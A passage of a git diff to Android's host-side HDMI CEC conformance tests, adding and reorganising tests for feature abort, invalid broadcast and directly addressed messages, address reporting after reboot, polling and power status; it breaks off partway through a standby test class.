-     * Test 12-2
      * Tests that the device ignores directly addressed message <GIVE_SYSTEM_AUDIO_MODE_STATUS> if
      * received as a broadcast message
      */
@@ -311,27 +204,4 @@
                 LogicalAddress.BROADCAST,
                 CecOperand.TERMINATE_ARC);
     }
-
-    /**
-     * Test 12-2
-     * Tests that the device ignores directly addressed message <USER_CONTROL_PRESSED> if received
-     * as a broadcast message
-     */
-    @Test
-    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_userControlPressed()
-        throws Exception {
-        ITestDevice device = getDevice();
-        // Clear activity
-        device.executeShellCommand(CLEAR_COMMAND);
-        // Clear logcat.
-        device.executeAdbCommand("logcat", "-c");
-        // Start the APK and wait for it to complete.
-        device.executeShellCommand(START_COMMAND);
-        hdmiCecClient.sendUserControlPressAndRelease(
-                LogicalAddress.TV,
-                LogicalAddress.BROADCAST,
-                HdmiCecConstants.CEC_CONTROL_UP,
-                false);
-        LogHelper.assertLogDoesNotContain(getDevice(), CLASS, "Short press KEYCODE_DPAD_UP");
-    }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java
new file mode 100644
index 0000000..6ecd5e3
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.CecVersionHelper;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.List;
+
+/** HDMI CEC tests related to {@code <Feature Abort>} */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecFeatureAbortTest extends BaseHdmiCecCtsTest {
+
+    private static final int TIMEOUT_SHORT_MILLIS = 1000;
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain
+                    .outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(hdmiCecClient);
+
+    /**
+     * Test HF4-2-11
+     * Verify {@code <Feature Abort} message does not result in a {@code <Feature Abort>} response.
+     */
+    @Test
+    public void cect_hf4_2_11_featureAbortBehavior() throws Exception {
+        ITestDevice device = getDevice();
+        CecVersionHelper.setCec20(device);
+
+        List<Integer> abortReasons = Arrays.asList(
+                HdmiCecConstants.ABORT_UNRECOGNIZED_MODE,
+                HdmiCecConstants.ABORT_NOT_IN_CORRECT_MODE,
+                HdmiCecConstants.ABORT_CANNOT_PROVIDE_SOURCE,
+                HdmiCecConstants.ABORT_INVALID_OPERAND,
+                HdmiCecConstants.ABORT_REFUSED,
+                HdmiCecConstants.ABORT_UNABLE_TO_DETERMINE);
+
+        for (Integer abortReason : abortReasons) {
+            hdmiCecClient.sendCecMessage(LogicalAddress.RECORDER_1, mDutLogicalAddress,
+                    CecOperand.FEATURE_ABORT, CecMessage.formatParams(abortReason));
+
+            hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.RECORDER_1,
+                    CecOperand.FEATURE_ABORT, TIMEOUT_SHORT_MILLIS);
+        }
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java
new file mode 100644
index 0000000..b36bcac
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogHelper;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeTrue;
+
+/** HDMI CEC test to verify that device ignores invalid messages (Section 12) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecInvalidMessagesTest extends BaseHdmiCecCtsTest {
+
+    private static final String PROPERTY_LOCALE = "persist.sys.locale";
+
+    /** The package name of the APK. */
+    private static final String PACKAGE = "android.hdmicec.app";
+
+    /** The class name of the main activity in the APK. */
+    private static final String CLASS = "HdmiCecKeyEventCapture";
+
+    /** The command to launch the main activity. */
+    private static final String START_COMMAND =
+            String.format(
+                    "am start -W -a android.intent.action.MAIN -n %s/%s.%s",
+                    PACKAGE, PACKAGE, CLASS);
+
+    /** The command to clear the main activity. */
+    private static final String CLEAR_COMMAND = String.format("pm clear %s", PACKAGE);
+
+    private LogicalAddress source;
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain.outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(hdmiCecClient);
+
+    private String getSystemLocale() throws Exception {
+        ITestDevice device = getDevice();
+        return device.executeShellCommand("getprop " + PROPERTY_LOCALE).trim();
+    }
+
+    private void setSystemLocale(String locale) throws Exception {
+        ITestDevice device = getDevice();
+        device.executeShellCommand("setprop " + PROPERTY_LOCALE + " " + locale);
+    }
+
+    private boolean isLanguageEditable() throws Exception {
+        String val = getDevice().executeShellCommand("getprop ro.hdmi.set_menu_language");
+        return val.trim().equals("true") ? true : false;
+    }
+
+    private static String extractLanguage(String locale) {
+        return locale.split("[^a-zA-Z]")[0];
+    }
+
+    @Before
+    public void setup() {
+        source =
+                (mDutLogicalAddress.equals(LogicalAddress.TV))
+                        ? LogicalAddress.RECORDER_1
+                        : LogicalAddress.TV;
+    }
+
+    /**
+     * Test 12-1
+     *
+     * <p>Tests that the device ignores every broadcast only message that is received as directly
+     * addressed.
+     */
+    @Test
+    public void cect_12_1_BroadcastReceivedAsDirectlyAddressed() throws Exception {
+        /* <Set Menu Language> */
+        assumeTrue("Language should be editable for this test", isLanguageEditable());
+        final String locale = getSystemLocale();
+        final String originalLanguage = extractLanguage(locale);
+        final String language = originalLanguage.equals("spa") ? "eng" : "spa";
+        try {
+            hdmiCecClient.sendCecMessage(
+                    source,
+                    mDutLogicalAddress,
+                    CecOperand.SET_MENU_LANGUAGE,
+                    CecMessage.convertStringToHexParams(language));
+            assertThat(originalLanguage).isEqualTo(extractLanguage(getSystemLocale()));
+        } finally {
+            // If the language was incorrectly changed during the test, restore it.
+            setSystemLocale(locale);
+        }
+    }
+
+    /**
+     * Test 12-2
+     *
+     * <p>Tests that the device ignores directly addressed message {@code <GET_CEC_VERSION>} if
+     * received as a broadcast message
+     */
+    @Test
+    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_getCecVersion() throws Exception {
+        hdmiCecClient.sendCecMessage(source, LogicalAddress.BROADCAST, CecOperand.GET_CEC_VERSION);
+        hdmiCecClient.checkOutputDoesNotContainMessage(source, CecOperand.CEC_VERSION);
+    }
+
+    /**
+     * Test 12-2
+     *
+     * <p>Tests that the device ignores directly addressed message {@code <GIVE_PHYSICAL_ADDRESS>}
+     * if received as a broadcast message
+     */
+    @Test
+    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_givePhysicalAddress()
+            throws Exception {
+        hdmiCecClient.sendCecMessage(
+                source, LogicalAddress.BROADCAST, CecOperand.GIVE_PHYSICAL_ADDRESS);
+        hdmiCecClient.checkOutputDoesNotContainMessage(
+                LogicalAddress.BROADCAST, CecOperand.REPORT_PHYSICAL_ADDRESS);
+    }
+
+    /**
+     * Test 12-2
+     *
+     * <p>Tests that the device ignores directly addressed message {@code <GIVE_POWER_STATUS>} if
+     * received as a broadcast message
+     */
+    @Test
+    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_givePowerStatus() throws Exception {
+        hdmiCecClient.sendCecMessage(
+                source, LogicalAddress.BROADCAST, CecOperand.GIVE_POWER_STATUS);
+        hdmiCecClient.checkOutputDoesNotContainMessage(source, CecOperand.REPORT_POWER_STATUS);
+    }
+
+    /**
+     * Test 12-2
+     *
+     * <p>Tests that the device ignores directly addressed message {@code <GIVE_DEVICE_VENDOR_ID>}
+     * if received as a broadcast message
+     */
+    @Test
+    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_giveDeviceVendorId()
+            throws Exception {
+        hdmiCecClient.sendCecMessage(
+                source, LogicalAddress.BROADCAST, CecOperand.GIVE_DEVICE_VENDOR_ID);
+        hdmiCecClient.checkOutputDoesNotContainMessage(
+                LogicalAddress.BROADCAST, CecOperand.DEVICE_VENDOR_ID);
+    }
+
+    /**
+     * Test 12-2
+     *
+     * <p>Tests that the device ignores directly addressed message {@code <GIVE_OSD_NAME>} if
+     * received as a broadcast message
+     */
+    @Test
+    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_giveOsdName() throws Exception {
+        hdmiCecClient.sendCecMessage(source, LogicalAddress.BROADCAST, CecOperand.GIVE_OSD_NAME);
+        hdmiCecClient.checkOutputDoesNotContainMessage(source, CecOperand.SET_OSD_NAME);
+    }
+
+    /**
+     * Test 12-2
+     *
+     * <p>Tests that the device ignores directly addressed message {@code <USER_CONTROL_PRESSED>} if
+     * received as a broadcast message
+     */
+    @Test
+    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_userControlPressed()
+            throws Exception {
+        ITestDevice device = getDevice();
+        // Clear activity
+        device.executeShellCommand(CLEAR_COMMAND);
+        // Clear logcat.
+        device.executeAdbCommand("logcat", "-c");
+        // Start the APK and wait for it to complete.
+        device.executeShellCommand(START_COMMAND);
+        hdmiCecClient.sendUserControlPressAndRelease(
+                source, LogicalAddress.BROADCAST, HdmiCecConstants.CEC_CONTROL_UP, false);
+        LogHelper.assertLogDoesNotContain(getDevice(), CLASS, "Short press KEYCODE_DPAD_UP");
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecLogicalAddressTest.java
new file mode 100644
index 0000000..1c3e85a
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecLogicalAddressTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+/** HDMI CEC test to verify physical address after device reboot (Section 10.2.3) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecLogicalAddressTest extends BaseHdmiCecCtsTest {
+
+    private static final LogicalAddress PLAYBACK_DEVICE = LogicalAddress.PLAYBACK_1;
+
+    @Rule
+    public RuleChain ruleChain =
+        RuleChain
+            .outerRule(CecRules.requiresCec(this))
+            .around(CecRules.requiresLeanback(this))
+            .around(hdmiCecClient);
+
+    /**
+     * Test 10.2.1-1, 10.2.3-1, 10.2.5-1
+     * <p>Tests that the device broadcasts a {@code <REPORT_PHYSICAL_ADDRESS>} after a reboot and
+     * that the device has taken the correct logical address.
+     */
+    @Test
+    public void cect_RebootLogicalAddress() throws Exception {
+        ITestDevice device = getDevice();
+        device.reboot();
+        String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
+        int deviceType = CecMessage.getParams(message, 4, 6);
+        assertThat(CecMessage.getSource(message).getDeviceType()).isEqualTo(deviceType);
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPhysicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPhysicalAddressTest.java
new file mode 100644
index 0000000..94bfa51
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPhysicalAddressTest.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+/** HDMI CEC test to verify physical address after device reboot (Section 10.1.2) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecPhysicalAddressTest extends BaseHdmiCecCtsTest {
+
+    @Rule
+    public RuleChain ruleChain =
+        RuleChain
+            .outerRule(CecRules.requiresCec(this))
+            .around(CecRules.requiresLeanback(this))
+            .around(hdmiCecClient);
+    /**
+     * Test 10.1.2-1
+     * <p>Tests that the device broadcasts a {@code <REPORT_PHYSICAL_ADDRESS>} after a reboot and
+     * that the device has taken the correct physical address.
+     */
+    @Test
+    public void cect_10_1_2_1_RebootPhysicalAddress() throws Exception {
+        ITestDevice device = getDevice();
+        String deviceType = device.getProperty(HdmiCecConstants.HDMI_DEVICE_TYPE_PROPERTY);
+        int physicalAddress =
+                deviceType.equals(Integer.toString(HdmiCecConstants.CEC_DEVICE_TYPE_TV))
+                        ? 0x0000
+                        : dutPhysicalAddress;
+        device.reboot();
+        String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
+        CecMessage.assertPhysicalAddressValid(message, physicalAddress);
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java
new file mode 100644
index 0000000..1d4a389
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecClientMessage;
+import android.hdmicec.cts.CecVersionHelper;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+/** HDMI CEC tests related to polling */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecPollingTest extends BaseHdmiCecCtsTest {
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain
+                    .outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(hdmiCecClient);
+
+    /**
+     * Test 11.2.6-1
+     * Tests for Ack {@code <Polling Message>} message.
+     */
+    @Test
+    public void cect_11_2_6_1_Ack() throws Exception {
+        String command = CecClientMessage.POLL + " " + mDutLogicalAddress;
+        String expectedOutput = "POLL sent";
+        hdmiCecClient.sendConsoleMessage(command);
+        if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
+            throw new Exception("Could not find " + expectedOutput);
+        }
+    }
+
+    /**
+     * Test HF4-2-10
+     * Verify {@code <Polling Message>} message is acknowledged in all states.
+     *
+     * Explicitly changes that polling messages are handled in standby power states.
+     */
+    @Test
+    public void cect_hf4_2_10_Ack() throws Exception {
+        ITestDevice device = getDevice();
+        CecVersionHelper.setCec20(device);
+
+        device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+
+        String command = CecClientMessage.POLL + " " + mDutLogicalAddress;
+        String expectedOutput = "POLL sent";
+        hdmiCecClient.sendConsoleMessage(command);
+        if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
+            throw new Exception("Could not find " + expectedOutput);
+        }
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
index c53d7c5..68bbf51 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
@@ -28,18 +28,27 @@
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
+import java.util.concurrent.TimeUnit;
+
 /**
  * HDMI CEC tests verifying power status related messages of the device (CEC 2.0 CTS Section 7.6)
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecPowerStatusTest extends BaseHdmiCecCtsTest {
 
+    private static final int ON = 0x0;
+    private static final int OFF = 0x1;
+    private static final int IN_TRANSITION_TO_STANDBY = 0x3;
+
+    private static final int SLEEP_TIMESTEP_SECONDS = 1;
+    private static final int WAIT_TIME = 5;
+    private static final int MAX_SLEEP_TIME = 8;
+
     @Rule
     public RuleChain mRuleChain =
             RuleChain
@@ -60,12 +69,21 @@
 
         // Move device to standby
         device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+        TimeUnit.SECONDS.sleep(WAIT_TIME);
 
         // Turn device on
         device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        TimeUnit.SECONDS.sleep(WAIT_TIME);
 
         String reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
                 CecOperand.REPORT_POWER_STATUS);
+
+        if (CecMessage.getParams(reportPowerStatus) == HdmiCecConstants.CEC_POWER_STATUS_STANDBY) {
+            // Received the "turning off" broadcast, check for the next broadcast message
+            reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
+                    CecOperand.REPORT_POWER_STATUS);
+        }
+
         assertThat(CecMessage.getParams(reportPowerStatus)).isEqualTo(
                 HdmiCecConstants.CEC_POWER_STATUS_ON);
     }
@@ -83,14 +101,74 @@
 
         // Turn device on
         device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        TimeUnit.SECONDS.sleep(WAIT_TIME);
 
         // Move device to standby
         device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+        TimeUnit.SECONDS.sleep(WAIT_TIME);
 
         String reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
                 CecOperand.REPORT_POWER_STATUS);
+
+        if (CecMessage.getParams(reportPowerStatus) == HdmiCecConstants.CEC_POWER_STATUS_ON) {
+            // Received the "wake up" broadcast, check for the next broadcast message
+            reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
+                    CecOperand.REPORT_POWER_STATUS);
+        }
+
         assertThat(CecMessage.getParams(reportPowerStatus)).isEqualTo(
                 HdmiCecConstants.CEC_POWER_STATUS_STANDBY);
     }
 
+    /**
+     * Test 11.1.14-1, 11.2.14-1
+     *
+     * <p>Tests that the device sends a {@code <REPORT_POWER_STATUS>} with params 0x0 when the
+     * device is powered on.
+     */
+    @Test
+    public void cect_PowerStatusWhenOn() throws Exception {
+        ITestDevice device = getDevice();
+        /* Make sure the device is not booting up/in standby */
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        LogicalAddress cecClientDevice = hdmiCecClient.getSelfDevice();
+        hdmiCecClient.sendCecMessage(cecClientDevice, CecOperand.GIVE_POWER_STATUS);
+        String message =
+                hdmiCecClient.checkExpectedOutput(cecClientDevice, CecOperand.REPORT_POWER_STATUS);
+        assertThat(CecMessage.getParams(message)).isEqualTo(ON);
+    }
+
+    /**
+     * Test 11.2.14-1, 11.2.14-2
+     *
+     * <p>Tests that the device sends a {@code <REPORT_POWER_STATUS>} with params 0x1 when the
+     * device is powered off.
+     */
+    @Test
+    public void cect_PowerStatusWhenOff() throws Exception {
+        ITestDevice device = getDevice();
+        try {
+            /* Make sure the device is not booting up/in standby */
+            device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+            /* The sleep below could send some devices into a deep suspend state. */
+            device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+            TimeUnit.SECONDS.sleep(WAIT_TIME);
+            int waitTimeSeconds = WAIT_TIME;
+            int powerStatus;
+            LogicalAddress cecClientDevice = hdmiCecClient.getSelfDevice();
+            do {
+                TimeUnit.SECONDS.sleep(SLEEP_TIMESTEP_SECONDS);
+                waitTimeSeconds += SLEEP_TIMESTEP_SECONDS;
+                hdmiCecClient.sendCecMessage(cecClientDevice, CecOperand.GIVE_POWER_STATUS);
+                powerStatus =
+                        CecMessage.getParams(
+                                hdmiCecClient.checkExpectedOutput(
+                                        cecClientDevice, CecOperand.REPORT_POWER_STATUS));
+            } while (powerStatus == IN_TRANSITION_TO_STANDBY && waitTimeSeconds <= MAX_SLEEP_TIME);
+            assertThat(powerStatus).isEqualTo(OFF);
+        } finally {
+            /* Wake up the device */
+            device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        }
+    }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
index c8868a8..f355af0 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
@@ -21,7 +21,6 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecClientMessage;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
 import android.hdmicec.cts.CecVersionHelper;
@@ -35,6 +34,9 @@
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
+import java.util.Arrays;
+import java.util.List;
+
 /** HDMI CEC system information tests (Section 11.2.6) */
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecSystemInformationTest extends BaseHdmiCecCtsTest {
@@ -47,32 +49,33 @@
                     .around(hdmiCecClient);
 
     /**
-     * Test 11.2.6-1
-     * Tests for Ack {@code <Polling Message>} message.
-     */
-    @Test
-    public void cect_11_2_6_1_Ack() throws Exception {
-        String command = CecClientMessage.POLL + " " + mDutLogicalAddress;
-        String expectedOutput = "POLL sent";
-        hdmiCecClient.sendConsoleMessage(command);
-        if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
-            throw new Exception("Could not find " + expectedOutput);
-        }
-    }
-
-    /**
-     * Test 11.2.6-2
-     * Tests that the device sends a {@code <Report Physical Address>} in response to a
-     * {@code <Give Physical Address>}
+     * Tests 11.2.6-2, 10.1.1.1-1
+     *
+     * <p>Tests that the device sends a {@code <Report Physical Address>} in response to a {@code
+     * <Give Physical Address>}
      */
     @Test
     public void cect_11_2_6_2_GivePhysicalAddress() throws Exception {
-        hdmiCecClient.sendCecMessage(CecOperand.GIVE_PHYSICAL_ADDRESS);
-        String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
-        /* Check that the physical address taken is valid. */
-        CecMessage.assertPhysicalAddressValid(message, getDumpsysPhysicalAddress());
-        int receivedParams = CecMessage.getParams(message);
-        assertThat(receivedParams & 0xFF).isEqualTo(mDutLogicalAddress.getDeviceType());
+        List<LogicalAddress> testDevices =
+                Arrays.asList(
+                        LogicalAddress.TV,
+                        LogicalAddress.RECORDER_1,
+                        LogicalAddress.TUNER_1,
+                        LogicalAddress.PLAYBACK_1,
+                        LogicalAddress.AUDIO_SYSTEM,
+                        LogicalAddress.BROADCAST);
+        for (LogicalAddress testDevice : testDevices) {
+            if (testDevice == mDutLogicalAddress) {
+                /* Skip the DUT logical address */
+                continue;
+            }
+            hdmiCecClient.sendCecMessage(testDevice, CecOperand.GIVE_PHYSICAL_ADDRESS);
+            String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
+            /* Check that the physical address taken is valid. */
+            CecMessage.assertPhysicalAddressValid(message, getDumpsysPhysicalAddress());
+            int receivedParams = CecMessage.getParams(message);
+            assertThat(receivedParams & 0xFF).isEqualTo(mDutLogicalAddress.getDeviceType());
+        }
     }
 
     /**
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java
new file mode 100644
index 0000000..33d514e
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java
@@ -0,0 +1,153 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * HDMI CEC test to verify the device handles standby correctly (Section 11.1.3, 11.2.3)
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecSystemStandbyTest extends BaseHdmiCecCtsTest {
+
+    private static final String HDMI_CONTROL_DEVICE_AUTO_OFF =
+            "hdmi_control_auto_device_off_enabled";
+
+    public List<LogicalAddress> mLogicalAddresses = new ArrayList<>();
+    public boolean wasOn;
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain
+                    .outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(hdmiCecClient);
+
+    @Before
+    public void initialTestSetup() throws Exception {
+        defineLogicalAddressList();
